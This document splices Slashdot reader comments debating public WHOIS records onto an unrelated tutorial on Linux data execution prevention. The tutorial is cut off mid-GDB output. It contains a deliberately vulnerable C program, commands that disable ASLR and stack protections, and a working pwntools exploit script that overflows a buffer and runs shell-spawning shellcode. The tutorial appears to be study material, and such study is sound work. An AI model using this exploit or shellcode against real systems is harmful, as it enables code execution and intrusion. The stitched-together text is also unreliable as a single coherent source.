difficulty, just by flicking through a telephone directory if necesary© The fact is if people really didn't want other people to be able to find out where they are, they wouldn't register domains, they'd just stick to using the free space from their ISP with the typicaly non-descript URL that comes with it or one of the free hosting services© You make the choice of having your personal information made public when you register a domain - if you don't like it, don't do it© It's your choice© Secret names in public domain (Score:1) Re:Can't compare it with a phone directory (Score:1) What's important for me is that the contact informations for my domains are available to all in case something happens. I don't have my personal phone number public on the contact information, because.. well.. it's unlisted. :) Although, I have another phone line dedicated for my domains which is public. But that could just be a 555- number anyway. And it could be important for verification purposes... domain hacked? Re:An ounce of prevention (Score:1) A 3-hour delay before that information is accessible is totally counter-productive when the WHOIS information is being used to contact somebody whose network is AFU. The same goal can be accomplished much more reasonably with an exponential (2^x) backoff routine, with a 15-second seed. Reset the backoff 24 hours after the last request, and refuse to queue more than 4 requests at once. This means that for a (naive) spammer to harvest 16 email addresses at once that it will take about 16000 minutes, or ten and a half days. On the other hand, a sysadmin who needs two or three WHOIS entries (and sometimes you need to "chain" them to find info) can get his information in less than 5 minutes. Reasonable, no? -- My views (Score:1) It is a required evil (Score:1) Bah (Score:2) I have two seperate thoughts on this. First of all, I think one of the original reason for the whois database was so that network administrators could get ahold of each other to resolve problems. That made sense when domains were networks. Nowdays, most domains are just web sites, and the contact information is a webmaster rather than a network admin. Perhaps (this is just an idea) the whois database should list, not who registered the domain, but who is in charge of the network that hosts the domain. And, secondly, this privacy issue seems bogus to me. If there are a lot of people who want to have a domain anonymously, then there is a market force that can easily be brought to bear upon the problem. Just have a domain "holding" company. If you want to run foo.org anonymously, then pay Bar Inc to handle the registration for that domain on your behalf. Then Bar Inc is in the whois database instead of you, and you have a contract with Bar Inc that stipulates under what conditions your identity should be revealed to others, gives you the power to control the domain, etc. Basically, they would be a kind of proxy for you. --- Re:Watch it. sonny. I know where you live. (Score:1) True. Although, at the same time, it doesn't cost much for an individual to aquire a seperate address and phone number. (I.e., you don't actually have to buy a building.) Get a PO Box and a cheap pager. Proposal (Score:2) OK, I agree with the assertion that WHOIS records are vital -- I know I've used them for real work myself. But as someone who just bought a domain name and really doesn't care to have to have my email address and home phone number publicized to every spammer and stalker on the planet, I am somewhat shocked at the /. collective brain's attitude. This is a problem crying out for a technical solution. There is one obvious such solution, which was used at MIT on their finger server(s) for some time (dunno if it's still there): their fingerd would not serve more than N responses in M minutes to the same requesting IP address. This meant that downloading their finger db wholesale was not feasible. That would probably kill a lot of spam, while still allowing sysadmins to contact one another. Secondly, some budding entrepreneur should set up an aliasing phone service and mail service, such that you can put into the WHOIS db their phone number plus your unique extension; and that you can configure your account with this service such that calls between 9am and 5pm are routed to your work addy, or are routed to a vmail service so you can call back if legitimate, or routed to /dev/null or whatever; that you can put their mail address down, and they will forward physical mail to you (like a PO Box only with home delivery); thus personal phone and home address are not available to the general public. This would basically solve the problem. Excuse me? Heard of "Realty Trusts"? (Score:2) Yes, how is it different? My last three landlords certainly didn't have their names on the deeds. Their properties were held by realty trusts, of which they were the beneficiaries, or corporations, of which they were effectively the owner. A realty trust is the probate/tax equivalent of an alias. I don't see why we shouldn't have the same thing available for domain name registrations. That is logically absurd. That's like saying "if you're willing to die for your cause, you should be willing to paint a target on your forehead." Last I checked most free web page services required a real name and addy. Of course, if they don't verify, it would be easy to circumvent, but just because you wish to get an unpopular message out doesn't mean you are a criminal, are willing to break the law, or are willing to enter into a contract in bad faith. Freenet at the moment is vaporware. A lovely idea, I'll believe it when I see it. Most people here are really only looking at this from the standpoint of the tech -- which surprizes me, usually /.rs are hip to the political consequences of things. tracking abusive sites (Score:2) not only is it a good thing... (Score:2) Without WHOIS, I would have to dig for a domain of a name server, then search the web to find this ISP. Upon locating the phone number, then and only then can I start my search for the elusive and wiley hostmaster. With WHOIS I issue one command and usually have not only the email address of the hostmaster, but his/her phone number too. The clueful even seem to put a phone number down that has a decent chance of intelligence on the other end. Close WHOIS to the public and you'd better give me a subscription! Analoguous to land records (Score:2) Why should domain names be any different? If these were made private, you'd probably have to have a court order in order to get to know who owns a domain you might be interested in buying or even worse, who to contact in SPAM related issues. Public it is and public it should be. Re:WHOIS should stay. (Score:2) I look at owning a domain name like owning a piece of real estate. It should remain on the public record. I recently (within the last 2 months) bought a condo here in the states and was overwhelmed, appalled and annoyed at the fact that I reveived SOOOO much junk mail from people offering me their services as a "new neighbor." However this is a consequence that I have to live with. Oh the flip side, I bought the property as an investment and have since been contacted by several realtors who have expressed interest in a client of theirs purchasing the property. I have not marketed this property, but they have access to this information through public records. Domain names are (IMHO) like real estate, and the information of their owners should remain as public domain. It truly is a double edged sword, but it is just a price that we all pay for information being free. Good reasons for it! (Score:2) Microsoft.com.se.fait.hax0rizer.par.tout.zoy.org s .nu r orists.net Microsoft.com.inspires.c opycat.wanna be.subversives.net Microsoft.com.has.no.linuxclue.com o s.francs.douze.org Microsoft.com Microsoft.com.owned.by.mat.hacksware.com Microsoft.com.n-aime.bill.que.quand.il.n-est.pa Microsoft.com.is.secretly.run.by.illuminati.ter Microsoft.com.is.nothing.but.a.monster.org Microsoft.com.is.at.the.mercy.of.detriment.org Microsoft.com.hacked.by.hacksware.com Microsoft.com.fait.vraiment.des.logiciels.a.tri -- Watch it. sonny. I know where you live. (Score:5) No? Why not? It's not *terifically* private information; in most cases, anyone really determined could find it out. It could be useful to let people call you or send you gifts, or so that your friends can look it up to come to parties after you've moved house. But it's usual for people to be a little bit circumspect with their home address, and with good reason: "I know where you live" is a threat. The bias here is basically that -- ICANN conflating True Names and Contact Needs (Score:3) In practice, ICANN's Data Grabbing isn't accomplishing its positive goals - When I've wanted to hunt down a spammer using Whois, it's generally not very practical - the Supposed True Name info is bogus, or it's a mailbox from a mailbox vendor, or it's outside the US in some jurisdiction where I don't know the alphabet, much less the legal code, and the email contract addresses either get you a black hole, or bounce, or sell your email to other spammers. On the other hand, people have supposedly been stalked, and lots of people have been spammed using this information, and it's Nobody's Business. * Technically, I'm probably not allowed to use the phrase "Nobody's Business" here in California, because there's a store by that name in Mendocino County, so it'd be name-squatting or trademark dilution or something What about transparency? (Score:2) Can't compare it with a phone directory (Score:2) It's like a global phone directory -- without the option for an unlisted number. But is it really? The owner of the number is the phone company, the administrator is the phone company. And we get the contact information for the phone company. If I register a domain, I will be the "phone company", right or wrong? Now if we talk about an email address (user@domain) or homepage () then there's no need for contact information and the user can be "unlisted". I think it should be compared to a phone company contacts, not a phone directory listing. You will always have the option NOT to register a top level domain. And get another private URL. How often do you pick your own phone number? Are domain names really public resources? (Score:2) I know that that's been the current thinking, but how accurate is it? I'm not convinced that domain names are public resources. I certainly will agree that the registries are essentially public resources, preventing domain name collisions, but the domain name itself I really don't see as a public resource. If I start a company, I have to come up with a name for that company to establish presence in my area. I'm required to do a name search for that company name to ensure that I'm not infringing on a name already in use. The name of my company is my own - tied up in its identity. The same is true of the domain name system. If I want a domain name, I do a search to find one that hasn't been taken. If someone beat me to the domain name, then I either have to come up with a new one or negotiate with the current holder to turn it over. If the current holder has no legitimate interest in the domain, then there has to be some existing law regarding corporate/personal identity to cover this. I suppose I'm also not convinced that ICANN's processes for this are any good, but that's a rant for another time. Re:Are domain names really public resources? (Score:2) Which raises the question of who owns the domain name before it is registered, or after it ceases to be registered. Network Solutions claims that they own the expired domains that their customers have registered, but I'm really hoping that ICANN, the Commerce Department, or the courts will fix that. Anyhow, back to the matter at hand. If the registrant owns the domain (even temporarily), then it is very important that the registration information be public. This is just like buying real estate. You can go down to the county courthouse and find out who owns any parcel of land in the county, and this is very important for resolving legal matters. Domains are not any different in that regard. What's the point of privacy? (Score:2) We like to hide. Whois is easy for us to avoid. Except we registered that one site -- microsoft.sux.a.lot.com and accidently left our real e-mail address be known, the one that Grandma uses to write that once a month letter to. It has now shown up in the whois database! What are we afraid of? Are we afraid of government monitoring our mp3 trading? Are we consumed by guilt, fearing that the Corporate intenty that has profiled me so well that they get me to actually click on a banner ad will know who I really am? I think the beautiful girl who used to brew my coffee knew my secret life too. Spam scares us. Sure it is annoying, but that's not what is frightening about it. It is frightening because they found us. They know us. They know our secret. Someday, maybe it will become clear to us that we have no secret. We are just like everyone else. We are consumers. The sign - $ (Score:2) At times I wonder how a collective environment such as the interenet survives self-serving commercial interest. Domains are public records (Score:2) You need an open database to be able to trust it - otherwise, how could you know it was not being tampered with ? I don't believe commercial spamming is a problem - owners of domains in general are much more dangerous when fighting spammers than the general audience. I believe the Maintainers of RIPE right now just want to hold the copyright in order to void a split(someone copying their service) - however, there may be good reasons to have competition on the field. As long as... (Score:2) --- seumas.com
https://slashdot.org/story/00/11/16/0054220/are-public-whois-records-necessary
CC-MAIN-2017-09
refinedweb
8,848
71.75
I don't understand why the second part of this code is not printing one number by one in steps of 1 second but all at the end of the script (in this case 3 seconds after the beginning of the second part of the code)? #!/usr/bin/python2.7 import time x = 0 maxi = 999999 #I chose a big number to show them scroll #this part will print all the number on the same line while x <= maxi: print '<{}>\r'.format(x), x+=1 #this part will print the numbers with a sleep of 1 second for each print x = 999998 #I initialized it at this number to only wait 3 seconds while x <= maxi: print '<{}>\r'.format(x), x+=1 time.sleep(1) That's probably because of buffering. You can try running your program with python -u on the command line, as the man page says -u Force stdin, stdout and stderr to be totally unbuffered. [...] Or you can use import sys and put a sys.stdout.flush() just after the print(). If you're wondering why that's needed on the second print and not on the first one, it's most likely because of the sleep. It blocks execution, so nothing is updated / flushed. I think it's actually also happening on the first one but the updates are much more / faster, so you don't notice it.
https://codedump.io/share/7lCFYJus6YzF/1/why-does-this-timer-print-just-the-final-result-instead-of-updating-every-second
CC-MAIN-2018-22
refinedweb
233
77.16
The CF_HDROP clipboard format is still quite popular, despite its limitation of being limited to files. You can't use it to represent virtual content, for example._ to your data object. This contains the file attribute information for the items in your CF_HDROP, thereby saving the drop target the cost of having to go find them._. We then declare a static DROPFILES structure which we use for all of our drag-drop operations. (Of course, in real life, you would generate it dynamically, but this is just a Little Program.)_ format, so changing from CF_ to some other format would be impractical.; } Okay, let's look at what we did here. We added a new data format, CFSTR_, and we created a static copy of the FILE_ variable-length structure that contains the attributes of our one file. Of course, in a real program, you would generate the structure dynamically. Note that I use a sneaky trick here: Since the FILE_ ends with an array of length 1, and I happen to need exactly one item, I can just declare the structure as-is and fill in the one slot. (If I had more than one item, then I would have needed more typing.) To make things easier for the consumers of the FILE_, the structure also asks you to report the logical OR and logical AND of all the file attributes. This is to allow quick answers to questions like "Is everything in this CF_ a file?" or "Is anything in this CF_ write-protected?" Since we have only one file, the calculation of these OR and AND values is nearly trivial..) Hmm. I wanted to implement a drop target that only accepts real-on-disk files (cause transcoder libraries really want fast random-access, and media files are big), and got the nasty surprise of HDROP working with "C:UsersBobVideosXxX_HOT_MARIO_SPEEDRUN_XxX.mkv", but the far more likely "VideosXxX_HOT_MARIO_SPEEDRUN_XxX.mkv" not :(. "What would the meaning of a relative path be? Relative to what?" Sorry for the ambiguoity, I mean the path as shown by Explorer (Shell namespace?), that is, the Videos library. I beleive we had the same problem with dragging from the desktop. Of course, I could have just messed up how you are supposed to do IDropTarget. But I'm not here to ask for tech support, just mentioning that HDROPs are pretty limited on the other side too :) [What would the meaning of a relative path be? Relative to what? -Raymond] I was expecting this.
https://blogs.msdn.microsoft.com/oldnewthing/20140609-00/?p=783/
CC-MAIN-2016-50
refinedweb
421
73.17
Download Historical Stock Information from a Web Site With the growing popularity of the Web, there is an increasing need for programs that can download information and manipulate it according to user requirements. This article documents a Java program that harvests information from a Web site. We'll use the act of downloading historical stock information. If you wish to analyze only one stock, you don't need to automate the information. But what about 100 stocks? The program accepts a ticker symbol on its command line, then downloads historical information from Yahoo's Web site to a file. will demonstrate how to use the class (which uses buffering to download information quickly); this program will also demonstrate how to use the class, the class, and the class to manipulate information that has been downloaded into memory. Downloading the Informationis the class that does all the work (see Listing 1). First, the program retrieves a five-year weekly history of the ticker's stock price. import java.io.*;import java.net.*;import java.util.* ;import java.text.* ;public class download_hist { public static void main(String[] args) throws Exception { int year_1 ; int int_from_year ; if (args.length != 1) { System.err.println("Usage: java download_hist " + "ticker"); System.err.println("Example: java download_hist " + "INTC"); System.exit(1); } SimpleDateFormat formatter = new SimpleDateFormat("yyyy/MM/dd"); ; String TickerSymbol = URLEncoder.encode(args[0]); String TargetUrl = "" + TickerSymbol + "&a=" + curr_month + "&b=" + curr_date + "&c=" + int_from_year + "&d=" + curr_month + "&e=" + curr_date + "&f=" + curr_year + "&g=w&q=q&y=0&z=" + TickerSymbol + "&x=.csv" ; URL url = new URL( TargetUrl); URLConnection connection = url.openConnection(); System.out.println("TargetUrl is:" + TargetUrl); BufferedInputStream in = ( new BufferedInputStream( connection.getInputStream())); byte[] buffer = new byte[8192] ; StringBuffer strbuf = new StringBuffer( 8192 ) ; FileOutputStream destination = new FileOutputStream( "C:\\Stocks\\Stock Data\\" + TickerSymbol +"_old.csv") ; while ( true ) { // System.out.println(inputLine); int bytes_read = in.read( buffer) ; if ( bytes_read == -1 ) break ; destination.write(buffer , 0, bytes_read ) ; System.out.println( "Downloaded " + bytes_read + " bytes for ticker " + TickerSymbol ); strbuf.append( new String( buffer , 0, bytes_read ) ) ; } in.close(); destination.close() ; change_string(strbuf , TickerSymbol ) ; } public static void change_string (StringBuffer strbuf, String TickerSymbol ) { int pos1, pos2, pos3, pos4, pos5 ; int length = 0 , count = 0 ; // Manipulate this string String s1 = new String ( strbuf.toString() ) ; StringTokenizer tokens = new StringTokenizer( s1, "\n" ) ; StringBuffer s2_buf = new StringBuffer( ) ; StringBuffer actual_line_buf = new StringBuffer() ; tokens.nextToken() ; while ( tokens.hasMoreTokens() ) { String curr_line = new String ( tokens.nextToken() ) ; pos1 = curr_line.indexOf( ',', 1) + 1 ; pos2 = curr_line.indexOf( ',', pos1 ) +1 ; pos3 = curr_line.indexOf( ',', pos2 )+ 1 ; pos4 = curr_line.indexOf( ',', pos3 ) + 1 ; pos5 = curr_line.indexOf( ',', pos4 ) + 1 ; length = curr_line.length() ;" ) ; // System.out.println("actual_line "+ actual_line_buf.toString() +"\n ") ; s2_buf.insert( 0 , actual_line_buf.toString() ) ; // System.out.println("s2_buf "+ s2_buf.toString() +"\n ") ; actual_line_buf.delete(0 , (length + 1) ) ; // System.out.println("actual_line "+ actual_line_buf.toString() +"\n "); } try { // System.out.println("s2_buf "+ s2_buf.toString() +"\n ") ; BufferedWriter destination_1 = new BufferedWriter( new OutputStreamWriter( new FileOutputStream("C:\\Stocks\\Stock Data\\" +TickerSymbol +".csv")) ) ; destination_1.write(s2_buf.toString() , 0, s2_buf.toString().length() ) ; destination_1.flush() ; destination_1.close() ; } catch ( IOException io ) { System.out.println("Error opening output file \n ") ; } } // End change_string} Listing 1. Source code for Download_hist.java. ; In the lines shown above, five years are subtracted from the current system date/year. Next, construct a String with parameters required by the site the URL class is extremely useful for this kind of networking, since it significantly simplifies the programmer's work. An input stream is set up and buffered (buffered streams increase efficiency substantially). Then, put the contents in a StringBuffer, . The append method of this class is used to keep adding lines to the buffer. Loop through until the variable is -1; then break out of the loop. When there is no more information to be read from the input stream, the variable is set to -1. Write the contents of the downloaded information into a file, then close the connection with and the file output stream with . while ( true ) { // System.out.println(inputLine); int bytes_read = in.read( buffer) ; if ( bytes_read == -1 ) break ; destination.write(buffer , 0, bytes_read ) ; // write to File System.out.println( "Downloaded " + bytes_read + " bytes for ticker " + TickerSymbol ); strbuf.append( new String( buffer , 0, bytes_read ) ) ;} The information in the variable is given in the format shown below. Week of, Open, High, Low, Close, Volume17-Jan- 0,100.2969,105.75,99.875,100.0625,3691710010-Jan- 0,85.75,106.625,84.125,103.0625,595062003-Jan- 0,83.2656,87.375,77.375,82,24701600..30-Jan-95,8.8713,9.2455,8.7154,9.1676,648740023-Jan-95,8.5283,8.9181,8.4816,8.8557,579020016-Jan-95,8.5439,8.809,8.4504,8.5829,6431200 Manipulating the Downloaded InformationThe method is then called to manipulate the contents downloaded to . A list of changes made by to the downloaded information follows. - Eliminate the header line ( ...) - Eliminate the Open and the Close columns in every line - Sort the file so the last line in the original download becomes the first line. Eliminate the Header LineThe class is used to parse the contents of the String into individual lines as shown below. String s1 = new String ( strbuf.toString() ) ; StringTokenizer tokens = new StringTokenizer( s1, "\n" ) ; StringBuffer s2_buf = new StringBuffer( ) ; StringBuffer actual_line_buf = new StringBuffer() ; The "\n" is used as the delimiter, now every call to will return the next line. In order to skip the first line, you may skip over the first token. tokens.nextToken() ; while ( tokens.hasMoreTokens() ) The method will be true if there are any other tokens left; use this loop through all the tokens (lines) until the end. Eliminate the Open and the Close Columns Now, process each line to eliminate the columns Open and Close. Look at the first line processed within the loop: 17-Jan- 0,100.2969,105.75,99.875,100.0625,36917100 You must eliminate the values in bold. Simply identify the location of the ',' character and extract portions of the appropriate line. The variables , are used to indicate the positions of the ',' character. pos1 = curr_line.indexOf ( ',', 1) + 1 ; The substring method is used to retrieve portions of the required string. The following line will append to contents of from to ; which would be ." ) ; Do not extract and , because they are to be discarded. Sort the FileSort so the last line in the original download becomes the first line. Do this by using the method to sort the file in the reverse order. The method will add the contents of the actual line before the contents of . Note the subtle difference between the and the methods of the class. s2_buf.insert( 0 , actual_line_buf.toString() ) ; Contents of at the end of function: 16-Jan-95,8.809,8.4504,643120023-Jan-95,8.9181,8.4816,579020030-Jan-95,9.2455,8.7154,6487400......3-Jan- 0,87.375,77.375,2470160010-Jan- 0,106.625,84.125,5950620017-Jan- 0,105.75,99.875,36917100 The contents of are then written to the file . SummaryJava is well-suited for programs that harvest information from the Web. Happily, the URL class hides much of the complexity associated with networking. The class is useful for holding the contents downloaded into memory; the class is effective in parsing the String into tokens and then manipulating them. This program is easily adapted to harvesting other specific kinds of information from the Web. To run: java download_hist intc To compile: javac download_hist.java Files created: C:\Stocks\Stock Data\intc.csv C:\Stocks\Stock Data\ intc_old.csv<<
https://www.developer.com/net/vb/article.php/626241/Download-Historical-Stock-Information-from-a-Web-Site.htm
CC-MAIN-2019-04
refinedweb
1,229
51.85
!ATTLIST div activerev CDATA #IMPLIED> <!ATTLIST div nodeid CDATA #IMPLIED> <!ATTLIST a command CDATA #IMPLIED> Ok, now this has puzzled me for a day or two, and I can't really figure it out. Here it goes. Does anybody have any idea how the particle emitter is able to update in edit mode? I know about the [ExecuteInEditMode] attribute, but that only seems to be called when the unity Editor has changed (new object selected or public members in the inspector were modified). I have reason to believe that the particle emitter is either triggering a specific event or calling some specific editor method that is forcing the editor to update more frequently. Here is the reason why I think this may be happening. Copy the following code into a new c# script called Example and drag the script onto a GameObject in the scene. [ExecuteInEditMode] using UnityEngine; using System.Collections; [ExecuteInEditMode] public class Example : MonoBehaviour { void Update() { print("Update for " + this.name + " was called."); } } Move the object around, or click on different assets in the project hierarchy, and you will notice that the print statement appears in the console window only when you change something. I know this is desired behavior because you wouldn't want the editor updating everything part all the time if nothing is changing, of course. Ok, now clear the console window and add a particle emitter. Select the particle emitter if it isn't already selected and take a look at the console window. You will notice that the print statement for our script is being continuously called. If the particle emitter was simply calling the Update method of all of the particles then it shouldn't trigger the Update method on our script, yet it does. So then what is the particle emitter doing? The real question is...how can I get the same update behavior as the particle emitter while in edit mode of the editor (not play mode)? I know this may be sound awkward, but thanks for any suggestions, ideas, or comments in advanced. asked Jan 20, 2012 at 08:42 PM ThePunisher 1.9k ● 15 ● 17 ● 30 This is a good question, and I probably don't know the answer, but is it possible Particle Emitter is doing its business in the OnDrawGizmos() method? This is how I generally get things to show up only in the Scene window. Of course, that does not explain why that code would be triggering the Update method. Hi Smorpheus, thanks for your response. I haven't looked at OnDrawGizmos() yet, so I'll make sure I look into that. I agree with you though, I don't think that explains why it would trigger my scripts update. First i'd like to say that a particle emitter is not a script, it's a seperate component (not even a Behaviour, see the class hierarchy). Most of the built-in components are written in native code and just have an Mono / .NET interface for scripting. So if you want to achieve something similar it will work different than a particle emitter / camera / cloth / ... If you want to implement an continous update in the editor you can use the `EditorApplication.update` -delegate. Keep in mind that all editor functions / classes (the whole UnityEditor namespace) is not available at runtime. So you have to use either conditional compilation to exclude this extra code from your build, or implement the functionality in a custom inspector. With a custom inspector it would only work while it's selected in the inspector. answered Jan 21, 2012 at 01:55 AM Bunny83 87k ● 32 ● 194 ● 454 Hi Bunny83, thank you for taking the time to respond. I understand the Editor scripts (or anything that references UnityEditor for that matter) can't be part of the build. As a matter of fact, I need this logic for a custom inspector and I need the object to be selected, so that would work out perfectly. Let me give your delegate suggestion a try. That worked perfectly, Bunny83! Thanks a lot, you've really helped me2962 executeineditmode x43 particle emitter x24 edit mode x17 asked: Jan 20, 2012 at 08:42 PM Seen: 1962 times Last Updated: Jan 21, 2012 at 04:02 AM What Does "ExecuteInEditMode" Actually Do? Manually triggering a script from the editor (utility, macro etc.) Updating object on inspector value changes in editor Weird issue with mesh.Clear() Run script in Edit mode when paused? It may not be updated even if I appoint ExecuteInEditMode Do I need ExecuteInEditMode() for all scripts? Turn on Shuriken "Simulate" from script in Edit mode? Execute in EditMode every time a script's parameter is changed Catch a unity undo/redo event. EnterpriseSocial Q&A
http://answers.unity3d.com/questions/208186/how-does-the-particle-emitter-update-in-edit-mode.html
CC-MAIN-2015-06
refinedweb
793
64.1
Preface Welcome to a new series about GNU/Linux exploit mitigation techniques. I wanna shift the focus to the bypassed techniques to create a series about currently deployed approaches. Afterwards I’d like to focus on their limitations with a follow up on how to bypass them with a sample demo. REMARK: This is the result of my recent self study and might contain faulty information. If you find any. Let me know! Thanks This first article has a small introduction to the whole topic. Later articles will have a bigger focus on possible design choices and bypasses, especially when combining the introduced exploit mitigations. Requirements - Some spare minutes - a basic understanding of what causes memory corruptions - the will to ask or look up unknown terms yourself - some ASM/C knowledge for the PoC part Introduction Ever since the first exploits appeared, the amount of publicly known ones has risen tremendously over the last two decades. Even today the total amount of public known exploits is on the rise with the increased security layers in all areas of software development. Nowadays a system breach or hostile takeover has way more impact compared to a decade ago.This leads to an increased popularity in exploiting web applications and reaching any form of code execution in recent days. Nevertheless systems itself are shown to be exploitable as ever. The last few years already have more than enough memorable system breaches with one of the most prominent example as of recently: the Equifax debacle with a massive leaked dataset from over 140 million customers, showing personal data, addresses and more importantly their social security numbers (relevant CVE). Similar scenarios happened to Sony as well, causing leakage of unreleased movie material and data from PlayStation network users, revealing people’s names, addresses, email addresses, birth dates, user names, passwords, logins, security questions and even credit card information. Another recent incident happened under the name BlueBorne, leaving over 8 billion Bluetooth capable devices at risk. The flaw itself lies in the Bluetooth protocol and can lead from information leaks to remote code execution and is triggered over the air. All the caused havoc in systems needs to get diminished by hardening applications and system internals even further to prevent future attacks more successfully. All major operating systems and big software vendors already adapted such features. The “incompleteness” and made trade-off deals when implementing such mechanics is the reason for reappearing breaches. Data execution prevention (DEP) Basic Design The huge popularity of type unsafe languages, which gives programmers total freedom on memory management, still causes findings of memory corruption bugs today. Patching those is mostly not a big deal and happens frequently. They remain a real threat though, since many systems, especially in large scale companies run on unpatched legacy code. There these kind of flaws still exist and may cause harm when abused. This clearly shows in the still roughly 50 % market share of Windows 7 in 2017, whose mainstream support already ended in 2015. Windows 8 and Windows 10 combined barely reach over 40% market share in 2017. Moreover new findings are reported monthly and can be looked up at the CVE DB. Preventing those memory corruptions to be used is the goal of data execution prevention (DEP). The mostly hardware based method mitigates any form of code execution from data pages in memory and hence prevents buffer based attacks, which inject malicious code in memory structures. It does so by tagging pages in memory as not executable if its contents are data and keeps them executable if it is code. When a processor attempts to run code from a not executable marked page an access violation is thrown followed by a control transfer to the operating system for exception handling, resulting in a terminated application. Besides a hardware enforced version of DEP it can also be complemented through software security checks to make better use of implemented exception handling routines. Overall this technique prevents usage of newly injected code into an applications memory. Even with a proceeded injection of malicious code it cannot be executed anymore as shown later. DEP was first implemented on Linux based systems by the PAX project since kernel version 2.6.7 in 2004. It makes use of a No eXecute (NX) bit in AMD, and the Execute Disable Bit (XD) in Intel processors on both 32 bit as well as 64 bit architecture. The counter part for Windows machines was available since Windows XP Service Pack 2 in 2004 as well. Limitations This directly leads to the weaknesses of data execution prevention. It successfully mitigates basic buffer overflow attacks, but more advanced techniques like return to libc (ret2libc), return oriented programming (ROP), or any other return to known code attacks are not accounted for. These kind of attacks, often labeled under the term arc injection make up a big percentage of recent bypasses. They were developments to bypass DEP in particular, which make use of already present code within an application, whose memory pages are marked executable. Return to libc uses functions and code from the system library glibc, which is linked against almost any binary. It offers a wide area of available functions. Return oriented programming on the other hand focuses on finding present code snippets from machine code instructions, which chained together create a gadget. A gadget consists of a few machine code instructions and always ends with a return statement to let the execution return to the abused application before executing the next gadget. One gadget handles exactly one functionality. Chaining them together to a gadget chain creates an exploit. note: It has been shown that not always a real return statement is needed. Instead a function sequence serving as a ‘trampoline’ to transfer control flow is used. PoC To make up for the wall of text above we will continue with some elementary show cases, which hopefully will demonstrate the importance of DEP/NX. Abusing a DEP/NX disabled binary First let’s start abusing a binary, which isn’t hardened at all. Let’s build a simple vulnerable binary in C ourselves. #include <stdio.h> #include <string.h> #include <stdlib.h> char totally_secure(char *arg2[]) { char buffer[256]; printf("What is your name?\n"); strcpy(buffer, arg2[1]); printf("Hello: %s!\n", buffer); } int main(int argc, char *argv[]) { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); printf("Hello, I'm your friendly & totally secure binary :)!\n"); totally_secure(argv); return 0; } This code is vulnerable to a buffer overflow in the function totally_secure() Compilation and first look at the binary $ gcc vuln.c -o vuln_no_prots -fno-stack-protector -no-pie -Wl,-z,norelro -m32 -z execstack $ echo 0 > /proc/sys/kernel/randomize_va_space First look from inside GDB pwndbg> checksec [*] '/home/pwnbox/DEP/binary/vuln_no_prots' Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments pwndbg> As we can see we’ve got fully disabled exploit mitigation techniques. Also no ASLR whatsoever. This is only for the sake of shining some light on this particular technique. Combinations of exploit mitigation techniques will be covered at a later time. Exploit A basic overflow is induced by filling the buffer with the following contents: pwndbg> c Continuing.! Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA [─────────────────────────────────────────────────────────────────REGISTERS──────────────────────────────────────────────────────────────────] *EAX 0x119 EBX 0x8049838 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804974c (_DYNAMIC) ◂— 1 *ECX 0xffffccd0 ◂— 0x41414141 ('AAAA') *EDX 0xf7fae870 (_IO_stdfile_1_lock) ◂— 0 EDI 0xf7fad000 (_GLOBAL_OFFSET_TABLE_) ◂— mov al, 0x5d /* 0x1b5db0 */ ESI 0xffffce20 ◂— 0x2 *EBP 0x41414141 ('AAAA') *ESP 0xffffcde0 —▸ 0xffffce00 ◂— 0x0 *EIP 0x42424242 ('BBBB') [───────────────────────────────────────────────────────────────────DISASM───────────────────────────────────────────────────────────────────] Invalid address 0x42424242 It shows that we have successfully overwritten the EIP and EBP The executed ret instruction took the next value off the stack and loaded that into the EIP register (our ‘BBBB’) and then code execution tries to continue from there. So we can fill the buffer with something like /bin/sh + padding, or try overflowing that position with shell code. We can craft one ourselves or take an already nicely prepared shell code from here In the end I used this one, since it honestly doesn’t make much of a difference at the moment: 46bytes: _no_prots') def main(): parser = argparse.ArgumentParser(description="pwnerator") parser.add_argument('--dbg', '-d', action='store_true') args = parser.parse_args() executable = './binary/vuln_no_prots' payload = '\x90'*222 # shellcode 46 bytes # 268 bytes - 46 bytes = length of nop sled payload += '' payload += '\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68' payload += '\x20\xcd\xff\xff' # stack if args.dbg: r = gdb.debug([executable, payload], gdbscript=""" b *main continue""", ) else: r = process([executable, payload]) r.interactive() if __name__ == '__main__': main() sys.exit(0) Executing the whole payload : [email protected]:~/DEP$ python bypass_no_prot.py INFO [*] '/home/pwnbox/DEP/binary/vuln_no_prots' Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments [+] Starting local process './binary/vuln_no_prots': pid 65330 [*]! $ whoami pwnbox $ We successfully continued execution from our stack. We skipped the NOP-sled and our shell got popped. We easily achieved code execution So far so good. Bypassing DEP/NX Okay so far this was just like any other simple buffer overflow tutorial out there. Now things get a little more interesting. We need to craft a new exploit, for the same binary, but this time with DEP/NX enabled. The exploit from before will not work anymore as shown below. Our new binary has the following configuration: gcc vuln.c -o vuln_with_nx -fno-stack-protector -no-pie -Wl,-z,norelro -m32 gdb ./vuln_with_nx pwndbg> checksec [*] '/home/pwnbox/DEP/binary/vuln_with_nx' Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) pwndbg> Executing our payload from before leaves us with this: python bypass_no_prot.py INFO [+] Starting local process './binary/vuln_with_nx': pid 65946 [*]! [*] Got EOF while reading in interactive $ whoami [*] Process './binary/vuln_with_nx' stopped with exit code -11 (SIGSEGV) (pid 65946) [*] Got EOF while sending in interactive GDB reveals that something went wrong: pwndbg> 0xffffcd20 in ?? () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA [─────────────────────────────────────────────────────────────────REGISTERS──────────────────────────────────────────────────────────────────] EAX 0x119 EBX 0x69622fff ECX 0xffffa7d0 ◂— 0x6c6c6548 ('Hell') EDX 0xf7fae870 (_IO_stdfile_1_lock) ◂— 0x0 EDI 0xf7fad000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b5db0 ESI 0xffffce50 ◂— 0x2 EBP 0x68732f6e ('n/sh') *ESP 0xffffce10 —▸ 0xffffce00 ◂— 0xffffe5e8 *EIP 0xffffcd20 ◂— 0x90909090 [───────────────────────────────────────────────────────────────────DISASM───────────────────────────────────────────────────────────────────] 